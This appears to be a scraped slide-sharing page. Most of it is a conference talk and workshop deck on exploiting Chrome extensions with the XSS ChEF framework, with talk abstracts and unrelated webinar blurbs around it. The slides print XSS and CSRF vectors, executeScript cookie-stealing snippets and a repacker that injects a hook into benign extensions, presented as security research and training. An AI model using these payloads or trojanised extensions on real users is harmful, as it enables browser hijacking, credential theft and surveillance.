To exploit such bugs, there is no need to use ROP gadgets, spray the heap or attempt other complex techniques. At the opposite, only few elements are required for a successful exploit, such as the right injection point and a tailored exploit payload.
This presentation will examine XCS in details and will provide a demonstration of XCS exploits of both unpatched and patched vulnerabilities in Firefox, Opera, Maxthon and Avant browsers.
Rails security: above and beyond the defaultsMatias Korhonen
- The document discusses securing Rails web applications by improving on the framework's default security settings.
- It emphasizes using HTTPS to encrypt traffic, securing certificates with tools like Let's Encrypt, and strengthening configurations using the Mozilla SSL Configuration Generator.
- Content Security Policies provide an added layer of security by restricting what content can be loaded from external sources, reducing vulnerabilities, though they require careful configuration.
- HTTP Public Key Pinning can lock users out if misconfigured, so caution is advised. Overall, the talk provides guidance on tightening security beyond Rails defaults.
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Divyanshu
Browser exploitation| Reporting vulnerability in top browsers and finding CVE.
Session in Null Bangalore Meet 23 November 2019 Null/OWASP/G4H combined meetup
Thanks to respective researchers for their work.
The document summarizes a technique for delivering payloads across networks with robust inspection mechanisms. It proposes using Firefox Send for private, encrypted file sharing to deliver payloads. Payloads are encrypted client-side using the WebCrypto API and can be decrypted in any browser. Notification of the encrypted file link is done over alternate covert channels like DNS to avoid inspection. A Python-based C2 framework called Foxtrot is demonstrated which uses Firefox Send for the payload delivery channel and DNS for the command and control channel to automate payload delivery between agent systems.
Devopsdays london: Let’s talk about securityJustin Cormack
This document summarizes Justin Cormack's talk on security at DevOpsDays London. It discusses how developers and operations teams can work together to improve security by clearly defining what access and permissions each service or microservice requires. It provides examples of pledge and Content Security Policy for limiting actions and access. It also discusses how containers provide a secure environment through mechanisms like namespaces, capabilities, and seccomp profiles. The talk argues for making security configurations easier to define, more uniform across tools, and correlated so different options can be set together for whole roles or types of services.
This document discusses Chrome extensions and apps. It defines extensions as packages that extend browser functionality with minimal or no user interface, while apps run inside the browser with a dedicated user interface for rich user interaction. The key components of an extension include the manifest file, background pages, content scripts, and UI pages. Extensions are stored in user folders, while apps use a similar architecture to extensions but are standalone programs. The document provides links for further information and demonstrates creating a basic Chrome app.
Cloudflare and Drupal - fighting bots and traffic peaksŁukasz Klimek
This document discusses using Cloudflare to improve the performance, security, and reliability of Drupal websites. It outlines the problems Drupal sites often face like spam, traffic peaks, and complex infrastructure needs. Cloudflare is presented as a solution by providing a content delivery network, web application firewall, code optimizations and other features. The document reviews Cloudflare's specific capabilities and provides guidance on preparing a Drupal site for deployment with Cloudflare, including cache invalidation strategies and modules to integrate the two platforms. Areas for future work by the Drupal community are also identified.
This document provides an overview of Chrome extensions including what they are, why they are useful, who should use them, how to build one, and how to package and deploy an extension. Chrome extensions allow additional functionality and customization to the Chrome browser. They are easy to use, automatically update, and can sync across devices. The document demonstrates how to create a basic "Hello World" extension and covers extension structure, communication methods, common APIs, and the packaging/deployment process through the Chrome Web Store.
The document provides instructions for setting up a lab environment to demonstrate HTML5 hacking techniques, including exploiting the same origin policy, cross-site scripting using HTML5 features, exploiting web messaging, attacking with cross origin resource sharing, targeting client-side storage, bypassing content security policy, and analyzing browser cross-site scripting filters. It outlines various HTML5-based attacks and provides URLs to demonstration sites to try out the exploits hands-on.
The document discusses security considerations for HTML5. It notes that while HTML5 specifications are not inherently flawed, bad code can introduce new vulnerabilities. It outlines several attack vectors like XSS, history tampering, web storage manipulation, and clickjacking. It also discusses mitigations like script isolation, cross-document messaging, sandboxing, and CORS, noting their limitations. The document aims to raise awareness of the expanded client-side attack surface in HTML5.
The document provides instructions for setting up a lab environment to practice HTML5 hacking techniques. It includes details on installing VirtualBox and shared folders, as well as IP addresses to use for the "localvictim" and "evil" servers. The remainder of the document outlines a plan to cover various HTML5-related attacks, including bypassing the same-origin policy, exploiting XSS vectors in HTML5, attacking with cross-origin resource sharing and web messaging, targeting client-side storage, and using web sockets. Disclaimers are provided about the practical nature of the workshops and limited time.
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Krzysztof Kotowicz
18 years have passed since Cross-Site Scripting (XSS) has been identified as a web vulnerability class. Since then, numerous efforts have been proposed to detect, fix or mitigate it. We've seen vulnerability scanners, fuzzers, static & dynamic code analyzers, taint tracking engines, linters, and finally XSS filters, WAFs and all various flavours of Content Security Policy.
Various libraries have been created to minimize or eliminate the risk of XSS: HTML sanitizers, templating libraries, sandboxing solutions - and yet XSS is still one of the most prevalent vulnerabilities plaguing web applications.
It seems like, while we have a pretty good grasp on how to address stored & reflected XSS, "solving" DOM XSS remains an open question. DOM XSS is caused by ever-growing complexity of client-side JavaScript code (see script gadgets), but most importantly - the lack of security in DOM API design.
But perhaps we have a chance this time? Trusted Types is a new browser API that
allows a web application to limit its interaction with the DOM, with the goal of obliterating
DOM XSS. Based on the battle-tested design that prevents XSS in most of the Google web applications, Trusted Types add the DOM XSS prevention API to the browsers. Trusted Types allow to isolate the application components that may potentially introduce DOM XSS into tiny, reviewable pieces, and guarantee that the rest of the code is DOM-XSS free. They can also leverage existing solutions like autoescaping templating libraries, or client-side sanitizers to use them as building blocks of a secure application.
Trusted Types have a working polyfill, an implementation in Chrome and integrate well with existing JS frameworks and libraries. Oddly similar to both XSS filters and CSP, they are also fundamentally different, and in our opinion have a reasonable chance of eliminating DOM XSS - once and for all.
Trusted Types aims to prevent DOM-based cross-site scripting (DOM XSS) by introducing a new API for creating string-wrapping objects that can only be used in safe ways. It allows defining policies that create these trusted types, limiting where DOM XSS can be introduced. With enforcement, web platforms would only accept trusted types for DOM sinks like innerHTML, reducing the attack surface. Policies can be guarded and their creation controlled via response headers to further limit security risks. Initial implementations show it can help secure applications with minimal changes.
Trusted Types is a proposed browser feature that aims to prevent DOM-based cross-site scripting (DOM XSS) vulnerabilities by restricting the use of untrusted strings in dangerous DOM sink functions. It works by requiring developers to use strongly typed policy objects instead of plain strings, making it easier to write secure code and reducing the DOM XSS attack surface. The design goals are to empower secure development, integrate smoothly with existing code, and allow gradual migration without breaking applications.
Video recording of the talk: https://connect.ruhr-uni-bochum.de/p3g2butmrt4/
HTML5 is quickly gaining media attention and popularity among browser vendors and web developers. Having tremendous features, together with its sister specifications like Drag & Drop API, File API or Geolocation it allows developers to build rich web applications that easily blend with desktop & mobile environments.
The talk will be focused on finding the weakest link and combining several recent attack techniques to turn a security vulnerability into a successful exploit.
We'll show how to build a successful advanced UI-Redressing attack (also known as clickjacking), presenting the latest findings in this field, including malicious games and quizes. We'll work on file upload functionalities in current web applications and see how attackers might use HTML5 APIs for their advantage. Putting all these building blocks together will enable us to launch an attack and exploit even the otherwise unexploitable vulnerabilities.
Creating, obfuscating and analyzing malware JavaScriptKrzysztof Kotowicz
Malware attacks on unaware Internet users' browsers are becoming more and more common. New techniques for bypassing filters used by security vendors emerge. In turn, the filters are getting better, new analyzing tools are developed - the war continues. At the presentation you will learn how crackers are trying to hamper the work of security engineers, and how reversers are overcoming those problems. Emphasis will be placed on the weaknesses of automated tools - we'll try to avoid detection by jsunpack and Capture-HPC, we'll also trick Dean Edwards' Unpacker.
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptKrzysztof Kotowicz
Ataki malware'u na przeglądarki nieświadomych internautów stają się coraz powszechniejsze. Wciąż powstają nowe techniki pozwalające obejść filtry stosowane przez producentów oprogramowania zabezpieczającego. Z kolei filtry są coraz lepsze, powstają też nowe narzędzia - walka trwa. Na prezentacji dowiecie się, jak włamywacze usiłują utrudnić pracę analizatorom ich kodu i jak reverserzy sobie z tym radzą. Nacisk zostanie położony na słabości narzędzi automatycznych - będziemy usiłowali uniknąć wykrycia przez jsunpack i Capture-HPC, oszukamy też popularny unpacker Deana Edwardsa.
Co to jest SQL injection i jak wyglądają współczesne ataki na serwisy? Dlaczego SQL injection jest takie groźne? Jak w praktyce obronić się przed tą luką w bezpieczeństwie i ocalić swoje dane?
SQL Injection: complete walkthrough (not only) for PHP developersKrzysztof Kotowicz
Learn what is SQL injection, how to use prepared statements, how to escape and write secure stored procedures. Many PHP projects are covered - PDO, Propel, Doctrine, Zend Framework and MDB2. Multiple gotchas included.
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Krzysztof Kotowicz
W trakcie prezentacji zademonstrujemy szkody, na jesteście narażeni nie myśląc o SQL injection. Dowiecie się, jak się przed nim bronić - zarówno w teorii, jak i na konkretnych przykładach. Nauczymy się pisać bezpiecznie w PHP 5 - sprawdzimy Zend Framework i Symfony, przenalizujemy Propel, Doctrine, PDO i mdb2. Omówimy wszystkie kruczki i różnice między różnymi systemami baz danych (Oracle, MS SQL Server, MySQL) oraz nauczymy się pisać procedury składowane odporne na SQL injection.
HCL Nomad Web – Best Practices and Managing Multiuser Environmentspanagenda
Webinar Recording: https://www.panagenda.com/webinars/hcl-nomad-web-best-practices-and-managing-multiuser-environments/
HCL Nomad Web is heralded as the next generation of the HCL Notes client, offering numerous advantages such as eliminating the need for packaging, distribution, and installation. Nomad Web client upgrades will be installed “automatically” in the background. This significantly reduces the administrative footprint compared to traditional HCL Notes clients. However, troubleshooting issues in Nomad Web present unique challenges compared to the Notes client.
Join Christoph and Marc as they demonstrate how to simplify the troubleshooting process in HCL Nomad Web, ensuring a smoother and more efficient user experience.
In this webinar, we will explore effective strategies for diagnosing and resolving common problems in HCL Nomad Web, including
- Accessing the console
- Locating and interpreting log files
- Accessing the data folder within the browser’s cache (using OPFS)
- Understand the difference between single- and multi-user scenarios
- Utilizing Client Clocking
TrustArc Webinar: Consumer Expectations vs Corporate Realities on Data Broker...TrustArc
Most consumers believe they’re making informed decisions about their personal data—adjusting privacy settings, blocking trackers, and opting out where they can. However, our new research reveals that while awareness is high, taking meaningful action is still lacking. On the corporate side, many organizations report strong policies for managing third-party data and consumer consent yet fall short when it comes to consistency, accountability and transparency.
This session will explore the research findings from TrustArc’s Privacy Pulse Survey, examining consumer attitudes toward personal data collection and practical suggestions for corporate practices around purchasing third-party data.
Attendees will learn:
- Consumer awareness around data brokers and what consumers are doing to limit data collection
- How businesses assess third-party vendors and their consent management operations
- Where business preparedness needs improvement
- What these trends mean for the future of privacy governance and public trust
This discussion is essential for privacy, risk, and compliance professionals who want to ground their strategies in current data and prepare for what’s next in the privacy landscape.
Increasing Retail Store Efficiency How can Planograms Save Time and Money.pptxAnoop Ashok
In today's fast-paced retail environment, efficiency is key. Every minute counts, and every penny matters. One tool that can significantly boost your store's efficiency is a well-executed planogram. These visual merchandising blueprints not only enhance store layouts but also save time and money in the process.
HCL Nomad Web – Best Practices und Verwaltung von Multiuser-Umgebungenpanagenda
Webinar Recording: https://www.panagenda.com/webinars/hcl-nomad-web-best-practices-und-verwaltung-von-multiuser-umgebungen/
HCL Nomad Web wird als die nächste Generation des HCL Notes-Clients gefeiert und bietet zahlreiche Vorteile, wie die Beseitigung des Bedarfs an Paketierung, Verteilung und Installation. Nomad Web-Client-Updates werden “automatisch” im Hintergrund installiert, was den administrativen Aufwand im Vergleich zu traditionellen HCL Notes-Clients erheblich reduziert. Allerdings stellt die Fehlerbehebung in Nomad Web im Vergleich zum Notes-Client einzigartige Herausforderungen dar.
Begleiten Sie Christoph und Marc, während sie demonstrieren, wie der Fehlerbehebungsprozess in HCL Nomad Web vereinfacht werden kann, um eine reibungslose und effiziente Benutzererfahrung zu gewährleisten.
In diesem Webinar werden wir effektive Strategien zur Diagnose und Lösung häufiger Probleme in HCL Nomad Web untersuchen, einschließlich
- Zugriff auf die Konsole
- Auffinden und Interpretieren von Protokolldateien
- Zugriff auf den Datenordner im Cache des Browsers (unter Verwendung von OPFS)
- Verständnis der Unterschiede zwischen Einzel- und Mehrbenutzerszenarien
- Nutzung der Client Clocking-Funktion
Designing Low-Latency Systems with Rust and ScyllaDB: An Architectural Deep DiveScyllaDB
Want to learn practical tips for designing systems that can scale efficiently without compromising speed?
Join us for a workshop where we’ll address these challenges head-on and explore how to architect low-latency systems using Rust. During this free interactive workshop oriented for developers, engineers, and architects, we’ll cover how Rust’s unique language features and the Tokio async runtime enable high-performance application development.
As you explore key principles of designing low-latency systems with Rust, you will learn how to:
- Create and compile a real-world app with Rust
- Connect the application to ScyllaDB (NoSQL data store)
- Negotiate tradeoffs related to data modeling and querying
- Manage and monitor the database for consistently low latencies
Technology Trends in 2025: AI and Big Data AnalyticsInData Labs
At InData Labs, we have been keeping an ear to the ground, looking out for AI-enabled digital transformation trends coming our way in 2025. Our report will provide a look into the technology landscape of the future, including:
-Artificial Intelligence Market Overview
-Strategies for AI Adoption in 2025
-Anticipated drivers of AI adoption and transformative technologies
-Benefits of AI and Big data for your business
-Tips on how to prepare your business for innovation
-AI and data privacy: Strategies for securing data privacy in AI models, etc.
Download your free copy nowand implement the key findings to improve your business.
Special Meetup Edition - TDX Bengaluru Meetup #52.pptxshyamraj55
We’re bringing the TDX energy to our community with 2 power-packed sessions:
🛠️ Workshop: MuleSoft for Agentforce
Explore the new version of our hands-on workshop featuring the latest Topic Center and API Catalog updates.
📄 Talk: Power Up Document Processing
Dive into smart automation with MuleSoft IDP, NLP, and Einstein AI for intelligent document workflows.
Dev Dives: Automate and orchestrate your processes with UiPath MaestroUiPathCommunity
This session is designed to equip developers with the skills needed to build mission-critical, end-to-end processes that seamlessly orchestrate agents, people, and robots.
📕 Here's what you can expect:
- Modeling: Build end-to-end processes using BPMN.
- Implementing: Integrate agentic tasks, RPA, APIs, and advanced decisioning into processes.
- Operating: Control process instances with rewind, replay, pause, and stop functions.
- Monitoring: Use dashboards and embedded analytics for real-time insights into process instances.
This webinar is a must-attend for developers looking to enhance their agentic automation skills and orchestrate robust, mission-critical processes.
👨🏫 Speaker:
Andrei Vintila, Principal Product Manager @UiPath
This session streamed live on April 29, 2025, 16:00 CET.
Check out all our upcoming Dev Dives sessions at https://community.uipath.com/dev-dives-automation-developer-2025/.
AI EngineHost Review: Revolutionary USA Datacenter-Based Hosting with NVIDIA ...SOFTTECHHUB
I started my online journey with several hosting services before stumbling upon Ai EngineHost. At first, the idea of paying one fee and getting lifetime access seemed too good to pass up. The platform is built on reliable US-based servers, ensuring your projects run at high speeds and remain safe. Let me take you step by step through its benefits and features as I explain why this hosting solution is a perfect fit for digital entrepreneurs.
UiPath Community Berlin: Orchestrator API, Swagger, and Test Manager APIUiPathCommunity
Join this UiPath Community Berlin meetup to explore the Orchestrator API, Swagger interface, and the Test Manager API. Learn how to leverage these tools to streamline automation, enhance testing, and integrate more efficiently with UiPath. Perfect for developers, testers, and automation enthusiasts!
📕 Agenda
Welcome & Introductions
Orchestrator API Overview
Exploring the Swagger Interface
Test Manager API Highlights
Streamlining Automation & Testing with APIs (Demo)
Q&A and Open Discussion
Perfect for developers, testers, and automation enthusiasts!
👉 Join our UiPath Community Berlin chapter: https://community.uipath.com/berlin/
This session streamed live on April 29, 2025, 18:00 CET.
Check out all our upcoming UiPath Community sessions at https://community.uipath.com/events/.
Quantum Computing Quick Research Guide by Arthur MorganArthur Morgan
This is a Quick Research Guide (QRG).
QRGs include the following:
- A brief, high-level overview of the QRG topic.
- A milestone timeline for the QRG topic.
- Links to various free online resource materials to provide a deeper dive into the QRG topic.
- Conclusion and a recommendation for at least two books available in the SJPL system on the QRG topic.
QRGs planned for the series:
- Artificial Intelligence QRG
- Quantum Computing QRG
- Big Data Analytics QRG
- Spacecraft Guidance, Navigation & Control QRG (coming 2026)
- UK Home Computing & The Birth of ARM QRG (coming 2027)
Any questions or comments?
- Please contact Arthur Morgan at [email protected].
100% human made.
Procurement Insights Cost To Value Guide.pptxJon Hansen
Procurement Insights integrated Historic Procurement Industry Archives, serves as a powerful complement — not a competitor — to other procurement industry firms. It fills critical gaps in depth, agility, and contextual insight that most traditional analyst and association models overlook.
Learn more about this value- driven proprietary service offering here.
Generative Artificial Intelligence (GenAI) in BusinessDr. Tathagat Varma
My talk for the Indian School of Business (ISB) Emerging Leaders Program Cohort 9. In this talk, I discussed key issues around adoption of GenAI in business - benefits, opportunities and limitations. I also discussed how my research on Theory of Cognitive Chasms helps address some of these issues
Andrew Marnell: Transforming Business Strategy Through Data-Driven InsightsAndrew Marnell
With expertise in data architecture, performance tracking, and revenue forecasting, Andrew Marnell plays a vital role in aligning business strategies with data insights. Andrew Marnell’s ability to lead cross-functional teams ensures businesses achieve sustainable growth and operational excellence.
2. Introduc5on
• Krzysztof
Kotowicz
– IT
security
consultant
at
SecuRing
– h<p://blog.kotowicz.net
– @kkotowicz
• Kyle
Osborn
– Pentester
at
AppSec
ConsulFng
– h<p://kyleosborn.com/
– @theKos
2
3. Previous
research
• Kyle
Osborn,
Ma<
Johansen
– Hacking
Google
ChromeOS
(BH
2011)
• N.
Carlini,
A.
Porter
Felt,
D.
Wagner
-‐
UC
Berkeley
– An
EvaluaFon
of
the
Google
Chrome
Extension
Security
Architecture
h<p://www.eecs.berkeley.edu/~afelt/
extensionvulnerabiliFes.pdf
• Krzysztof
Kotowicz
– h<p://blog.kotowicz.net/2012/02/intro-‐to-‐chrome-‐addons-‐
hacking.html
3
4. Plan
• Briefing
– Chrome
extensions
security
101
– Abusing
Chrome
extensions
– Easy
exploitaFon
– Using
XSS
ChEF
• Workshops
– all
of
the
above
in
pracFce
&
more
– h<p://kotowicz.net/brucon/
4
6. Chrome
extensions
security
• Extensions
are
HTML5
applicaFons
packaged
in
signed
.crx
files
• chrome-‐extension://<id>
URLs
• Have
access
to
powerful
API
– chrome.tabs
– chrome.history
– chrome.cookies
– chrome.proxy
– bundled
plugins
(NPAPI)
• Permissions
defined
in
manifest.json
6
7. Chrome
extensions
security
• Extensions
have
a
lot
of
power
to
abuse
• How
bad
can
it
be?
Think...
– global
XSS
– idenFty
thec
(bookmarks,
history,
cookies)
– filesystem
access
– remote
code
execuFon
(meterpreter)
7
8. Chrome
extensions
security
Content
script
• Can
interact
with
webpage
DOM
– e.g.
execute
Javascript
– isolated
worlds
for
page
JS
/
content
script
JS
• No
access
to
chrome.*
API
8
9. Chrome
extensions
security
View
pages
• Have
access
to
chrome.*
API
• No
access
to
webpage
DOM
• Content
scripts
and
view
pages
can
only
exchange
messages
• Examples:
– opFon
pages
– new
tabs
– popups
9
10. Chrome
extensions
security
Background
page
• View
page
that
runs
constantly
• Has
access
to
chrome.*
API
• The
UlPmate
Target
10
11. Chrome
extensions
security
• Currently,
Chrome
extension
security
is
very
reliant
on
the
developer
– WriFng
bad
code
is
easy
– Giving
extensions
more
permissions
than
necessary
is
easier
• Extensions
suffer
from
common
web
vulnerabili5es
11
12. Chrome
extensions
security
• XSS:
page
DOM
has
a
vector
that
is
grabbed
and
executed
by
extension
<link
rel="alternate"
type="application/rss+xml"
title="hello
<img
src=x
onerror='alert(1)'>"
href="/rss.rss">
• CSRF:
Page
directly
requests
extension
URLs
<iframe
src="chrome-‐extension://<id>/pages/
subscribe.html?location=//evil/whitelist"></iframe>
12
13. Chrome
extensions
security
• NPAPI
plugins
vulns
– Extensions
can
use
NPAPI
plugins
(.dll,
.so
etc.)
– Those
run
outside
of
Chrome
sandboxes
– Full
permissions
of
current
OS
user
– Possible
vulns:
RCE,
buffer
overflows,
path
disclosures,
command
injecFons,
...
• Manual
review
by
Google
if
plugin
is
used
13
14. Chrome
extensions
security
• Content-‐Security-‐Policy
prevents
XSS
• Chrome
supports
CSP
in
the
webpages
X-Content-Security-Policy, X-WebKit-CSP
• Chrome
supports
CSP
in
extensions
content_security_policy
in
manifest
• But...
14
15. Extensions
vs
CSP
in
webpage
• Total
CSP
bypass
– You
can
inject
any
code
via
extension
chrome.tabs.executeScript(null,
{code:“alert(1)”})
– Injected
code:
• is
same
origin
with
the
page
(document.cookie
etc.)
• can
communicate
with
view
pages
(chrome.extension.sendMessage)
15
16. Extensions
vs
CSP
in
manifest
• Cannot
execute
arbitrary
code
• Even
CSP
in
extension
+
CSP
in
webpage
does
not
make
you
100%
safe!
– You
can
pivot
the
a<ack
through
webpage
– You
need
addiFonal
vulnerabiliFes
to
exploit
this
16
17. Chrome
extensions
security
• Most
commonly
vulnerable
– RSS
readers
– Note
extensions
– Web
Developer
extensions
17
18. Chrome
extensions
security
manifest.json
• Defines
resources,
permissions,
name
etc.
• v1
– insecure,
but
everyone
uses
it
• v2
– Secure
Content-‐Security-‐Policy
by
default
(no
XSS!)
– Pages
cannot
access
extension
URLs
(no
CSRF!)
– Unpopular
• 26
out
of
top
1000
extensions
– Will
be
enforced
in
Q3
2013
18
19. Chrome
extensions
security
Installa5on
Methods
• Chrome
Web
Store
– curated
by
Google
• .crx
install
from
any
website
(prompts
user)
– Chrome
21
makes
off-‐store
installs
harder
• Drag
&
drop
.crx
to
chrome://extensions
• Or
use
--enable-easy-off-store-extension-install
flag
• MiTM
not
possible
due
to
cerFficate
signing
19
21. Fingerprin5ng
• The
simplest
method
– Generate
a
list
of
known
extension
IDs,
and
bruteforce
chrome-‐extension://ID/
resources
to
discovered
extensions
– use
onerror/onload
to
check
for
existence
• hZp://blog.kotowicz.net/2012/02/intro-‐to-‐
chrome-‐addons-‐hacking.html
21
22. CSRF
-‐
example
• Chrome
Adblock
2.5.22
– Extension
UI
uses
pages/subscribe.html
– pages/subscribe.html?locaFon=url
will
subscribe
to
new
block
list
var queryparts = parseUri.parseSearch(document.location.search);
BGcall("subscribe",
{id: 'url:' + queryparts.location});
• Can
be
called
by
any
webpage
<iframe src="chrome-extension://<id>/pages/
subscribe.html?location=//evil/whitelist">
22
23. XSS
-‐
example
• Slick
RSS
+
Slick
RSS:
Feed
Finder
– simple
injecFon
locaFon
(<link>
tag
Ftle)
<link rel="alternate" type="application/rss+xml"
title="hello <img src=x onerror='payload'>"
href="/rss.rss">
23
24. Leveraging
XSS
• Vector
in
page
=>
XSS
in
content
script
– No
access
to
chrome.*
API
– Only
chrome.extension.*
• e.g.
chrome.extension.connect
&
chrome.extension.sendMessage
to
communicate
– Need
to
elevate
to
view
script
• From
view
script
chrome.extension
.getBackgroundPage()
.eval(”mwahahahahaaaaa!”)
24
32. Easy
exploita5on
• alert(1)
-‐
Now
what?
• Use
an
automated
tool
to
pillage
and
plunder
• BeEF
does
a
great
job
hooking
into
DOMs
• But
–
Need
a
special
tool
designed
to
take
advantage
of
Chrome
extension
APIs
32
33. Easy
exploita5on
• Enter
XSS
ChEF
(Chrome
Extension
Exploita2on
Framework)
– Designed
from
the
ground
up
for
exploiFng
extensions
– Fast
(uses
WebSockets)
– Preloaded
with
automated
a<ack
scripts
33
34. Easy
exploita5on
• Monitor
open
tabs
of
vicPms
• Execute
JS
on
every
tab
• Extract
HTML
• Read/write
cookies
• Access
localStorage
• Manipulate
browser
history
• Take
screenshots
of
tabs
• Inject
BeEF
hooks
/
keyloggers
34
36. XSS
ChEF
Launching
server
$ php -v
PHP 5.3.12 (cli) (built: Jun 7 2012 22:49:42)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
with Xdebug v2.2.0, Copyright (c) 2002-2012, by Derick Rethans
$ php server.php 2>command.log
XSS ChEF server
by Krzysztof Kotowicz - kkotowicz at gmail dot com
Usage: php server.php [port=8080] [host=127.0.0.1]
Communication is logged to stderr, use php server.php [port]
2>log.txt
2012-07-22 12:40:06 [info] Server created
2012-07-22 12:40:06 ChEF server is listening on 127.0.0.1:8080
2012-07-22 12:40:06 [info] [client 127.0.0.1:60431] Connected
2012-07-22 12:40:06 [info] [client 127.0.0.1:60431] Performing
handshake
2012-07-22 12:40:06 [info] [client 127.0.0.1:60431] Handshake sent
2012-07-22 12:40:06 New hook c3590977550 from 127.0.0.1
...
36
42. API
abuse
• chrome.tabs.query
-‐
gets
access
to
all
tabs
URLs
(even
incognito!),
Ptles,
documents
etc.
chrome.tabs.query({}, function(t) {
log({type: 'report_tabs','result':t});
});
42
43. API
abuse
• chrome.tabs.executeScript
-‐
global
XSS
on
any
tab
• bypasses
CSP
chrome.tabs.executeScript(null, {
code:"alert(document.cookie)"
});
43
48. Pre-‐Workshop
Info
• Requirements
– Latest
version
of
XSS
ChEF
required
(w/
dependencies)
• PHP
5.3
+
HTTP
server,
opFonally
node.js
• unzip,
curl
• Only
heavily
tested
under
OS
X
&
Linux
– Chrome
– Selected
extensions
• All
links
can
be
found
on
hdp://kotowicz.net/brucon
48
56. Part
Two:
Repacking
• Wanted
to
get
MORE
privileges
• UPlizes
“click-‐through-‐syndrome”
• You
can
repack
any
other
benign
extension,
adding
malicious
part
(e.g.
XSS
chef
hook)
56
57. Part
Two:
Repacking
$ ./repacker-webstore.sh <ID> output.crx
Unpacking ...
Injecting xsschef...
Adding permissions...
Saving...
Done.
Moving signed extension to output.crx
57